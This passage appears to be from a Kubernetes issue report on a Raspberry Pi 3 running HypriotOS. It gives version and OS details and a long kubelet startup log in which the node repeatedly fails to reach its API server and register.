kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/arm\ }\r - cloud provider or hardware configuration:\r raspberry pi3\r - os  e.g. from /etc/os-release :\r pretty_name=\ raspbian gnu/linux 9  stretch \ \r name=\ raspbian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=raspbian\r id_like=debian\r home_url=\ http://www.raspbian.org/\ \r support_url=\ http://www.raspbian.org/raspbianforums\ \r bug_report_url=\ http://www.raspbian.org/raspbianbugs\ \r hypriot_os=\ hypriotos/armhf\ \r hypriot_os_version=\ v2.0.1\ \r hypriot_device=\ raspberry pi\ \r hypriot_image_version=\ v1.9.0\ \r \r - kernel  e.g.  uname -a  :\r linux gernot-pi3 4.14.34-hypriotos-v7+  1 smp sun apr 22 14:57:31 utc 2018 armv7l gnu/linux\r - install tools:\r - others:\r may 05 12:18:32 gernot-pi3 systemd 1 : started kubelet: the kubernetes node agent.\r -- subject: unit kubelet.service has finished start-up\r -- defined-by: systemd\r -- support: https://www.debian.org/support\r -- \r -- unit kubelet.service has finished starting up.\r -- \r -- the start-up result is done.\r may 05 12:18:33 gernot-pi3 kubelet 11521 : flag --pod-manifest-path has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r may 05 12:18:33 gernot-pi3 kubelet 11521 : flag --allow-privileged has been deprecated, will be removed in a future version\r may 05 12:18:33 gernot-pi3 kubelet 11521 : flag --cluster-dns has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r may 05 12:18:33 gernot-pi3 kubelet 11521 : flag --cluster-domain has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r may 05 12:18:33 gernot-pi3 kubelet 11521 : flag --authorization-mode has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r may 05 12:18:33 gernot-pi3 kubelet 11521 : flag --client-ca-file has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r may 05 12:18:33 gernot-pi3 kubelet 11521 : flag --cadvisor-port has been deprecated, the default will change to 0  disabled  in 1.12, and the cadvisor port will be removed entirely in 1.13\r may 05 12:18:33 gernot-pi3 kubelet 11521 : i0505 12:18:33.641815   11521 feature_gate.go:226  feature gates: &{{} map  }\r may 05 12:18:33 gernot-pi3 kubelet 11521 : w0505 12:18:33.702441   11521 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r may 05 12:18:33 gernot-pi3 kubelet 11521 : w0505 12:18:33.735387   11521 hostport_manager.go:68  the binary conntrack is not installed, this can cause failures in network connection cleanup.\r may 05 12:18:33 gernot-pi3 kubelet 11521 : i0505 12:18:33.735661   11521 server.go:376  version: v1.10.2\r may 05 12:18:33 gernot-pi3 kubelet 11521 : i0505 12:18:33.736024   11521 feature_gate.go:226  feature gates: &{{} map  }\r may 05 12:18:33 gernot-pi3 kubelet 11521 : i0505 12:18:33.736768   11521 plugins.go:89  no cloud provider specified.\r may 05 12:18:33 gernot-pi3 kubelet 11521 : i0505 12:18:33.773265   11521 certificate_store.go:117  loading cert/key pair from \ /var/lib/kubelet/pki/kubelet-client-current.pem\ .\r may 05 12:18:33 gernot-pi3 kubelet 11521 : e0505 12:18:33.997223   11521 machine.go:194  failed to get cache information for node 0: open /sys/devices/system/cpu/cpu0/cache: no such file or directory\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.007343   11521 server.go:613  --cgroups-per-qos enabled, but --cgroup-root was not specified.  defaulting to /\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.009120   11521 container_manager_linux.go:242  container manager verified user specified cgroup-root exists: /\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.009246   11521 container_manager_linux.go:247  creating container manager object based on node config: {runtimecgroupsname: systemcgroupsname: kubeletcgroupsname: containerruntime:docker cgroupsperqos:true cgrouproot:/ cgroupdriver:cgroupfs kubeletrootdir:/var/lib/kubelet protectkerneldefaults:false nodeallocatableconfig:{kubereservedcgroupname: systemreservedcgroupname: enforcenodeallocatable:map pods:{}  kubereserved:map   systemreserved:map   hardevictionthresholds: {signal:nodefs.available operator:lessthan value:{quantity:<nil> percentage:0.1} graceperiod:0s minreclaim:<nil>} {signal:nodefs.inodesfree operator:lessthan value:{quantity:<nil> percentage:0.05} graceperiod:0s minreclaim:<nil>} {signal:imagefs.available operator:lessthan value:{quantity:<nil> percentage:0.15} graceperiod:0s minreclaim:<nil>} {signal:memory.available operator:lessthan value:{quantity:100mi percentage:0} graceperiod:0s minreclaim:<nil>} } experimentalqosreserved:map   experimentalcpumanagerpolicy:none experimentalcpumanagerreconcileperiod:10s experimentalpodpidslimit:-1 enforcecpulimits:true}\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.010215   11521 container_manager_linux.go:266  creating device plugin manager: true\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.010469   11521 state_mem.go:36   cpumanager  initializing new in-memory state store\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.011874   11521 state_mem.go:84   cpumanager  updated default cpuset: \ \ \r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.012014   11521 state_mem.go:92   cpumanager  updated cpuset assignments: \ map  \ \r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.012775   11521 kubelet.go:272  adding pod path: /etc/kubernetes/manifests\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.012957   11521 kubelet.go:297  watching apiserver\r may 05 12:18:34 gernot-pi3 kubelet 11521 : e0505 12:18:34.028287   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://192.168.1.123:6443/api/v1/nodes?fieldselector=metadata.name%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:34 gernot-pi3 kubelet 11521 : e0505 12:18:34.031602   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://192.168.1.123:6443/api/v1/pods?fieldselector=spec.nodename%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:34 gernot-pi3 kubelet 11521 : e0505 12:18:34.031756   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://192.168.1.123:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:34 gernot-pi3 kubelet 11521 : w0505 12:18:34.044766   11521 kubelet_network.go:139  hairpin mode set to \ promiscuous-bridge\  but kubenet is not enabled, falling back to \ hairpin-veth\ \r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.044979   11521 kubelet.go:556  hairpin mode set to \ hairpin-veth\ \r may 05 12:18:34 gernot-pi3 kubelet 11521 : w0505 12:18:34.045778   11521 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.045966   11521 client.go:75  connecting to docker on unix:///var/run/docker.sock\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.046049   11521 client.go:104  start docker client with request timeout=2m0s\r may 05 12:18:34 gernot-pi3 kubelet 11521 : w0505 12:18:34.066752   11521 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r may 05 12:18:34 gernot-pi3 kubelet 11521 : w0505 12:18:34.097991   11521 hostport_manager.go:68  the binary conntrack is not installed, this can cause failures in network connection cleanup.\r may 05 12:18:34 gernot-pi3 kubelet 11521 : w0505 12:18:34.098322   11521 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.098567   11521 docker_service.go:244  docker cri networking managed by cni\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.177731   11521 docker_service.go:249  docker info: &{id:lnnb:dywf:dur6:edme:phsm:msdq:bfvl:m4jh:dexq:iulq:bmdo:ofbt containers:10 containersrunning:0 containerspaused:0 containersstopped:10 images:5 driver:overlay2 driverstatus:  backing filesystem extfs   supports d_type true   native overlay diff true   systemstatus:   plugins:{volume: local  network: bridge host macvlan null overlay  authorization:   log: awslogs fluentd gcplogs gelf journald json-file logentries splunk syslog } memorylimit:true swaplimit:true kernelmemory:true cpucfsperiod:true cpucfsquota:true cpushares:true cpuset:true ipv4forwarding:true bridgenfiptables:true bridgenfip6tables:true debug:false nfd:21 oomkilldisable:true ngoroutines:34 systemtime:2018-05-05t12:18:34.107410611z loggingdriver:json-file cgroupdriver:cgroupfs neventslistener:0 kernelversion:4.14.34-hypriotos-v7+ operatingsystem:raspbian gnu/linux 9  stretch  ostype:linux architecture:armv7l indexserveraddress:https://index.docker.io/v1/ registryconfig:0x1625ef80 ncpu:4 memtotal:1024184320 genericresources:   dockerrootdir:/var/lib/docker httpproxy: httpsproxy: noproxy: name:gernot-pi3 labels:   experimentalbuild:false serverversion:18.04.0-ce clusterstore: clusteradvertise: runtimes:map runc:{path:docker-runc args:  }  defaultruntime:runc swarm:{nodeid: nodeaddr: localnodestate:inactive controlavailable:false error: remotemanagers:   nodes:0 managers:0 cluster:<nil>} liverestoreenabled:false isolation: initbinary:docker-init containerdcommit:{id:773c489c9c1b21a6d78b5c538cd395416ec50f88 expected:773c489c9c1b21a6d78b5c538cd395416ec50f88} runccommit:{id:4fc53a81fb7c994640722ac585fa9ca548971871 expected:4fc53a81fb7c994640722ac585fa9ca548971871} initcommit:{id:949e6fa expected:949e6fa} securityoptions: name=seccomp,profile=default }\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.178531   11521 docker_service.go:262  setting cgroupdriver to cgroupfs\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.270395   11521 remote_runtime.go:43  connecting to runtime service unix:///var/run/dockershim.sock\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.315918   11521 kuberuntime_manager.go:186  container runtime docker initialized, version: 18.04.0-ce, apiversion: 1.37.0\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.320597   11521 csi_plugin.go:61  kubernetes.io/csi: plugin initializing...\r may 05 12:18:34 gernot-pi3 kubelet 11521 : e0505 12:18:34.329033   11521 kubelet.go:1277  image garbage collection failed once. stats initialization may not have completed yet: failed to get imagefs info: unable to find data for container /\r may 05 12:18:34 gernot-pi3 kubelet 11521 : e0505 12:18:34.332170   11521 event.go:209  unable to write event: 'post https://192.168.1.123:6443/api/v1/namespaces/default/events: dial tcp 192.168.1.123:6443: getsockopt: connection refused'  may retry after sleeping \r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.340796   11521 fs_resource_analyzer.go:66  starting fs resourceanalyzer\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.341049   11521 status_manager.go:140  starting to sync pod status with apiserver\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.341157   11521 kubelet.go:1777  starting kubelet main sync loop.\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.341379   11521 kubelet.go:1794  skipping pod synchronization -  container runtime is down pleg is not healthy: pleg was last seen active 2562047h47m16.854775807s ago; threshold is 3m0s \r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.342254   11521 server.go:129  starting to listen on 0.0.0.0:10250\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.363172   11521 volume_manager.go:247  starting kubelet volume manager\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.372436   11521 server.go:299  adding debug handlers to kubelet server.\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.413380   11521 server.go:944  started kubelet\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.413963   11521 desired_state_of_world_populator.go:129  desired state populator starts to run\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.451390   11521 kubelet.go:1794  skipping pod synchronization -  container runtime is down pleg is not healthy: pleg was last seen active 2562047h47m16.854775807s ago; threshold is 3m0s \r may 05 12:18:34 gernot-pi3 kubelet 11521 : w0505 12:18:34.458971   11521 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r may 05 12:18:34 gernot-pi3 kubelet 11521 : e0505 12:18:34.462124   11521 kubelet.go:2125  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.465271   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.538072   11521 kubelet_node_status.go:82  attempting to register node gernot-pi3\r may 05 12:18:34 gernot-pi3 kubelet 11521 : e0505 12:18:34.546598   11521 kubelet_node_status.go:106  unable to register node \ gernot-pi3\  with api server: post https://192.168.1.123:6443/api/v1/nodes: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.656010   11521 kubelet.go:1794  skipping pod synchronization -  container runtime is down \r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.747128   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:34 gernot-pi3 kubelet 11521 : i0505 12:18:34.761580   11521 kubelet_node_status.go:82  attempting to register node gernot-pi3\r may 05 12:18:34 gernot-pi3 kubelet 11521 : e0505 12:18:34.769129   11521 kubelet_node_status.go:106  unable to register node \ gernot-pi3\  with api server: post https://192.168.1.123:6443/api/v1/nodes: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:35 gernot-pi3 kubelet 11521 : e0505 12:18:35.030887   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://192.168.1.123:6443/api/v1/nodes?fieldselector=metadata.name%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:35 gernot-pi3 kubelet 11521 : e0505 12:18:35.034703   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://192.168.1.123:6443/api/v1/pods?fieldselector=spec.nodename%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:35 gernot-pi3 kubelet 11521 : e0505 12:18:35.037421   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://192.168.1.123:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:35 gernot-pi3 kubelet 11521 : i0505 12:18:35.056383   11521 kubelet.go:1794  skipping pod synchronization -  container runtime is down \r may 05 12:18:35 gernot-pi3 kubelet 11521 : i0505 12:18:35.169512   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:35 gernot-pi3 kubelet 11521 : i0505 12:18:35.186906   11521 kubelet_node_status.go:82  attempting to register node gernot-pi3\r may 05 12:18:35 gernot-pi3 kubelet 11521 : e0505 12:18:35.188799   11521 kubelet_node_status.go:106  unable to register node \ gernot-pi3\  with api server: post https://192.168.1.123:6443/api/v1/nodes: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:35 gernot-pi3 kubelet 11521 : i0505 12:18:35.856825   11521 kubelet.go:1794  skipping pod synchronization -  container runtime is down \r may 05 12:18:35 gernot-pi3 kubelet 11521 : i0505 12:18:35.989246   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:36 gernot-pi3 kubelet 11521 : i0505 12:18:36.004891   11521 kubelet_node_status.go:82  attempting to register node gernot-pi3\r may 05 12:18:36 gernot-pi3 kubelet 11521 : e0505 12:18:36.008624   11521 kubelet_node_status.go:106  unable to register node \ gernot-pi3\  with api server: post https://192.168.1.123:6443/api/v1/nodes: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:36 gernot-pi3 kubelet 11521 : e0505 12:18:36.032875   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://192.168.1.123:6443/api/v1/nodes?fieldselector=metadata.name%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:36 gernot-pi3 kubelet 11521 : e0505 12:18:36.039060   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://192.168.1.123:6443/api/v1/pods?fieldselector=spec.nodename%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:36 gernot-pi3 kubelet 11521 : e0505 12:18:36.040452   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://192.168.1.123:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:36 gernot-pi3 kubelet 11521 : w0505 12:18:36.610785   11521 nvidia.go:74  error reading \ /sys/bus/pci/devices/\ : open /sys/bus/pci/devices/: no such file or directory\r may 05 12:18:37 gernot-pi3 kubelet 11521 : e0505 12:18:37.046856   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://192.168.1.123:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:37 gernot-pi3 kubelet 11521 : e0505 12:18:37.046883   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://192.168.1.123:6443/api/v1/nodes?fieldselector=metadata.name%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:37 gernot-pi3 kubelet 11521 : e0505 12:18:37.049291   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://192.168.1.123:6443/api/v1/pods?fieldselector=spec.nodename%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:37 gernot-pi3 kubelet 11521 : i0505 12:18:37.457187   11521 kubelet.go:1794  skipping pod synchronization -  container runtime is down \r may 05 12:18:37 gernot-pi3 kubelet 11521 : i0505 12:18:37.586624   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:37 gernot-pi3 kubelet 11521 : i0505 12:18:37.599584   11521 cpu_manager.go:155   cpumanager  starting with none policy\r may 05 12:18:37 gernot-pi3 kubelet 11521 : i0505 12:18:37.600373   11521 cpu_manager.go:156   cpumanager  reconciling every 10s\r may 05 12:18:37 gernot-pi3 kubelet 11521 : i0505 12:18:37.600483   11521 policy_none.go:42   cpumanager  none policy: start\r may 05 12:18:37 gernot-pi3 kubelet 11521 : starting device plugin manager\r may 05 12:18:37 gernot-pi3 kubelet 11521 : e0505 12:18:37.608773   11521 eviction_manager.go:246  eviction manager: failed to get get summary stats: failed to get node info: node \ gernot-pi3\  not found\r may 05 12:18:37 gernot-pi3 kubelet 11521 : i0505 12:18:37.609623   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:37 gernot-pi3 kubelet 11521 : i0505 12:18:37.622397   11521 kubelet_node_status.go:82  attempting to register node gernot-pi3\r may 05 12:18:37 gernot-pi3 kubelet 11521 : e0505 12:18:37.624538   11521 kubelet_node_status.go:106  unable to register node \ gernot-pi3\  with api server: post https://192.168.1.123:6443/api/v1/nodes: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:38 gernot-pi3 kubelet 11521 : e0505 12:18:38.049608   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://192.168.1.123:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:38 gernot-pi3 kubelet 11521 : e0505 12:18:38.053817   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://192.168.1.123:6443/api/v1/nodes?fieldselector=metadata.name%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:38 gernot-pi3 kubelet 11521 : e0505 12:18:38.061280   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://192.168.1.123:6443/api/v1/pods?fieldselector=spec.nodename%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:39 gernot-pi3 kubelet 11521 : e0505 12:18:39.052474   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://192.168.1.123:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:39 gernot-pi3 kubelet 11521 : e0505 12:18:39.056636   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://192.168.1.123:6443/api/v1/nodes?fieldselector=metadata.name%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:39 gernot-pi3 kubelet 11521 : e0505 12:18:39.064304   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://192.168.1.123:6443/api/v1/pods?fieldselector=spec.nodename%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:39 gernot-pi3 kubelet 11521 : e0505 12:18:39.955535   11521 event.go:209  unable to write event: 'post https://192.168.1.123:6443/api/v1/namespaces/default/events: dial tcp 192.168.1.123:6443: getsockopt: connection refused'  may retry after sleeping \r may 05 12:18:40 gernot-pi3 kubelet 11521 : e0505 12:18:40.054540   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://192.168.1.123:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:40 gernot-pi3 kubelet 11521 : e0505 12:18:40.058709   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://192.168.1.123:6443/api/v1/nodes?fieldselector=metadata.name%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:40 gernot-pi3 kubelet 11521 : e0505 12:18:40.068191   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://192.168.1.123:6443/api/v1/pods?fieldselector=spec.nodename%3dgernot-pi3&limit=500&resourceversion=0: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:40 gernot-pi3 kubelet 11521 : w0505 12:18:40.657670   11521 pod_container_deletor.go:77  container \ 0e33a546c5c3324b5efb7d90ad60de4a1dd842561a80972c13db1aafa6de51ad\  not found in pod's containers\r may 05 12:18:40 gernot-pi3 kubelet 11521 : w0505 12:18:40.657967   11521 pod_container_deletor.go:77  container \ e65102c58996b4e58bb0fa225642cf7435f6ccc472448e4cb2243368b4d287b5\  not found in pod's containers\r may 05 12:18:40 gernot-pi3 kubelet 11521 : w0505 12:18:40.658095   11521 pod_container_deletor.go:77  container \ a1aaaed0156452c386c13a14d26aaec4e7f3dfdb74a6142642d52fa2beb9bfcd\  not found in pod's containers\r may 05 12:18:40 gernot-pi3 kubelet 11521 : i0505 12:18:40.658714   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:40 gernot-pi3 kubelet 11521 : i0505 12:18:40.692929   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:40 gernot-pi3 kubelet 11521 : i0505 12:18:40.693736   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:40 gernot-pi3 kubelet 11521 : w0505 12:18:40.712327   11521 status_manager.go:461  failed to get status for pod \ etcd-gernot-pi3_kube-system 16846a2efbc5ef643330dac361a49ad0 \ : get https://192.168.1.123:6443/api/v1/namespaces/kube-system/pods/etcd-gernot-pi3: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:40 gernot-pi3 kubelet 11521 : i0505 12:18:40.717291   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:40 gernot-pi3 kubelet 11521 : i0505 12:18:40.717867   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:40 gernot-pi3 kubelet 11521 : w0505 12:18:40.733311   11521 status_manager.go:461  failed to get status for pod \ kube-apiserver-gernot-pi3_kube-system 6761abf6cea6552c7b386552482c777c \ : get https://192.168.1.123:6443/api/v1/namespaces/kube-system/pods/kube-apiserver-gernot-pi3: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:40 gernot-pi3 kubelet 11521 : i0505 12:18:40.741506   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:40 gernot-pi3 kubelet 11521 : i0505 12:18:40.742096   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:40 gernot-pi3 kubelet 11521 : w0505 12:18:40.758507   11521 status_manager.go:461  failed to get status for pod \ kube-controller-manager-gernot-pi3_kube-system 98578eb479695566b995bf6ae33a05fe \ : get https://192.168.1.123:6443/api/v1/namespaces/kube-system/pods/kube-controller-manager-gernot-pi3: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:40 gernot-pi3 kubelet 11521 : i0505 12:18:40.767738   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:40 gernot-pi3 kubelet 11521 : i0505 12:18:40.767796   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:40 gernot-pi3 kubelet 11521 : i0505 12:18:40.781327   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:40 gernot-pi3 kubelet 11521 : w0505 12:18:40.782799   11521 status_manager.go:461  failed to get status for pod \ kube-scheduler-gernot-pi3_kube-system 75b1b9ab0f3a37601ee6e0a6c14cc1a7 \ : get https://192.168.1.123:6443/api/v1/namespaces/kube-system/pods/kube-scheduler-gernot-pi3: dial tcp 192.168.1.123:6443: getsockopt: connection refused\r may 05 12:18:40 gernot-pi3 kubelet 11521 : w0505 12:18:40.794546   11521 pod_container_deletor.go:77  container \ ff22c4d0d47ddcd6d4521e8e407b70f7cf560fbce364469e40cc0e32bfd02edc\  not found in pod's containers\r may 05 12:18:40 gernot-pi3 kubelet 11521 : i0505 12:18:40.795477   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:40 gernot-pi3 kubelet 11521 : i0505 12:18:40.808002   11521 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ ca-certs\   uniquename: \ kubernetes.io/host-path/6761abf6cea6552c7b386552482c777c-ca-certs\   pod \ kube-apiserver-gernot-pi3\   uid: \ 6761abf6cea6552c7b386552482c777c\  \r may 05 12:18:40 gernot-pi3 kubelet 11521 : i0505 12:18:40.808304   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:18:40 gernot-pi3 kubelet 11521 : i0505 12:18:40.808829   11521 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ kubeconfig\   uniquename: \ kubernetes.io/host-path/75b1b9ab0f3a37601ee6e0a6c14cc1a7-kubeconfig\   pod \ kube-scheduler-gernot-pi3\   uid: \ 75b1b9ab0f3a37601ee6e0a6c14cc1a7\  \r may 05 12:18:40 gernot-pi3 kubelet 11521 : i0505 12:18:40.809349   11521 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ k8s-certs\   uniquename: \ kubernetes.io/host-path/6761abf6cea6552c7b386552482c777c-k8s-certs\   pod \ kube-apiserver-gernot-pi3\   uid: \ 6761abf6cea6552c7b386552482c777c\  \r may 05 12:18:40 gernot-pi3 kubelet 11521 : i0505 12:18:40.809845   11521 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ etcd-certs\   uniquename: \ kubernetes.io/host-path/16846a2efbc5ef643330dac361a49ad0-etcd-certs\   pod \ etcd-gernot-pi3\   uid: \ 16846a2efbc5ef643330dac361a49ad0\  \r may 05 12:18:40 gernot-pi3 kubelet 11521 : i0505 12:18:40.810371   11521 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ flexvolume-dir\   uniquename: \ 